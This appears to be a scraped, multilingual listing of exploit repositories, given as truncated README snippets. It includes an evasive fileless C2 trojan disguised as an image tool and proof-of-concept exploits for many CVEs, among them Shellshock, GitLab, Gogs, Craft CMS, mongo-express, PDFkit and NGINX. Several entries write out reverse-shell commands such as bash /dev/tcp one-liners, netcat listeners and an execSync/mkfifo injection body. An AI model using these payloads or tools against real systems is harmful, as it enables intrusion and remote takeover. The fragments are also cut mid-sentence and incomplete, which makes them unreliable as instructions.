FUD-C2-Framework

تنفيذ بدون ملفات وتخطٍّ للحماية Insect v2 - إطار عمل C2 Insect هو حصان طروادة C2 لأوامر عكسية بدون ملفات وحمولات Linux للبيكون. يتخفى هذا الحصان كأداة معالجة صور BMP بعمق 24 بت. يستخدم Dynamic Syscall Stubs وmemfdcreate وموارد نصية مشفرة بـ ChaCha20 وtunnel proxy وICC Profile Encryptor لتجنب...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

CVE-2018-8174-exp

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT استغلال لـ CVE-2018-8174 الوسائط الاختيارية: -h, --help عرض رسالة المساعدة هذه والخروج -u URL, --url URL رابط الاستغلال -o OUTPUT, --output OUTPUT مخرج ملف rtf للاستغلال -i IP, --ip IP ip لـ netcat -p PORT, --port PORT منف...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell إصدار الاختبار بناء أمر لإنشاء استغلال الثغرة echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh استغلال djvumake لإنشاء صورة الاستغلال import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock रिमोट कमांड इंजेक्शन टूल त्वरित रिवर्स शेल और फ़ाइल ब्राउज़िंग के लिए Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=fil...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu هو سكربت عميل MySQL مكتوب بلغة Ruby قمت بتأليفه. يقوم بمعظم ما قد يفعله عميل MySQL عادي: SQL Shell، Update/Delete/Drop لقاعدة البيانات/الجدول، إضافة/حذف المستخدمين، تفريغ قاعدة البيانات قواعد البيانات/الجدول مع خيار gzip...... بالإضافة إلى بعض الخيارات الإضافية لجعل الحياة أس...

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE शोषण Gogs में CVE-2025-8110 के लिए एक स्वचालित Python शोषण। यह कमजोरी PutContents API का दुरुपयोग करके दूरस्थ कोड निष्पादन RCE की अनुमति देती है, जो यह सत्यापित करने में विफल रहता है कि कोई फ़ाइल पथ सिमलिंक है या नहीं। सिमलिंक के माध्यम से आंतरिक .git/config फ़ाइल को अधिलेख...

CVE-2026-44011-craft-rce-poc

CVE-2026-44011-craft-rce-poc CVE-2026-44011-craft-rce-poc الاستخدام أمر واحد: bash python3 craftrce.py -b http://target -u USER -p PASS -c 'id' Reverse shell bash مُغلَّف بـ base64: terminal 1 nc -lvnp 4444 terminal 2 python3 craftrce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 44...

CVE-2021-21425

CVE-2021-21425 स्रोत: https://www.exploit-db.com/exploits/49973 1 लक्ष्य IP बदलें 2 पेलोड बदलें echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe PoC de téléversement d'artefact pickle ClearML Ce projet démontre comment téléverser dynamiquement un artefact...

Rainstorm

BadBash هي أداة استغلال لثغرة CVE-2014-6271 من نوع RCE. الإصدار الأساسي يتحقق فقط من موقع HTTP CGI ولا يوفر سوى صدفة عكسية عبر netcat على المنفذ 1234. المطوّر : Andy Yang الإصدار : 0.1.0 الرخصة : GPLv3 ===============================================================================================...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 CVE-2022-25765 कमांड इंजेक्शन का शोषण pdfkit 0.8.6 में इस भेद्यता के बारे में अधिक जानकारी यहाँ देखें। PoC प्रूफ ऑफ कॉन्सेप्ट अपने होस्ट पर नेटकैट चलाएँ: $ nc -lvnp 1337 शोषण चलाएँ उदाहरण: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 लक्ष्य...

Exploit for Code Injection in Phpletter Ajax_File_And_Image_Manager

Zenphoto 1.4.1.4 RCE — CVE-2011-4825 A Python 3 adaptation of...

CVE-2019-10758

CVE-2019-10758 mongo-express تنفيذ كود عن بعد، كود شل العكسي كما يلي: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

React2Shell_Exploit

استغلال React2Shell CVE-2025-55182 لقد قمت بإنشاء استغلال بسيط لـ react2shell CVE-2025-55182 بلغة بايثون الاستخدام 1. احفظ النص البرمجي: احفظ الكود أعلاه كـ exploit.py. 2. تحديث Hosts: تأكد من أن reactor.htb يحل إلى عنوان IP الهدف في ملف /etc/hosts الخاص بك. echo " reactor.htb" | sudo tee -a...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 حقن أوامر مصادق عليه شيل عكسي https://nvd.nist.gov/vuln/detail/CVE-2018-9276 نسخة محسّنة من استغلال كتبه https://github.com/M4LV0. استخدمت بيانات POST من سكربتهم لكن جعلته أكثر موثوقية لأني لم أحقق معه نجاحًا كبيرًا. تسليم الحمولة هو في الأساس smbdelivery. يقوم Impacket...

CVE-LiteLLM

cve-id ⚡ استخدام بسيط استخدم هذا المشروع فقط في بيئات آمنة ومرخصة مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المرخصة إعداد مثال: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

CVE-2021-21425-RCE

यह मेरा संस्करण है जो मुझे इंटरनेट पर बहुत मिला लेकिन वे बहुत खराब हैं उपयोग python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 प्रतीक्षा करें.. 60 सेकंड में आपको अपने लिस्टनर पर शेल मिल जाएगा...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift रिवर्स शेल के साथ RCE PoC CVE-2026-42945 के लिए रिमोट कोड एक्जीक्यूशन प्रूफ-ऑफ-कॉन्सेप्ट, जो NGINX के ngxhttprewritemodule में हीप बफर ओवरफ्लो है। यह फोर्क सार्वजनिक ट्रिगर PoC को एक एम्बेडेड रिवर्स-शेल लिसनर और CTF तथा पृथक लैब वातावरणों के लिए कॉन्फ़िगरेबल एक्सप्लॉइटेश...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ استخدام بسيط استخدم هذا المشروع فقط في بيئات آمنة ومصرح بها مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المصرح بها مثال على الإعداد: git clone cd Project use python follow below Create a virtual environment python -m...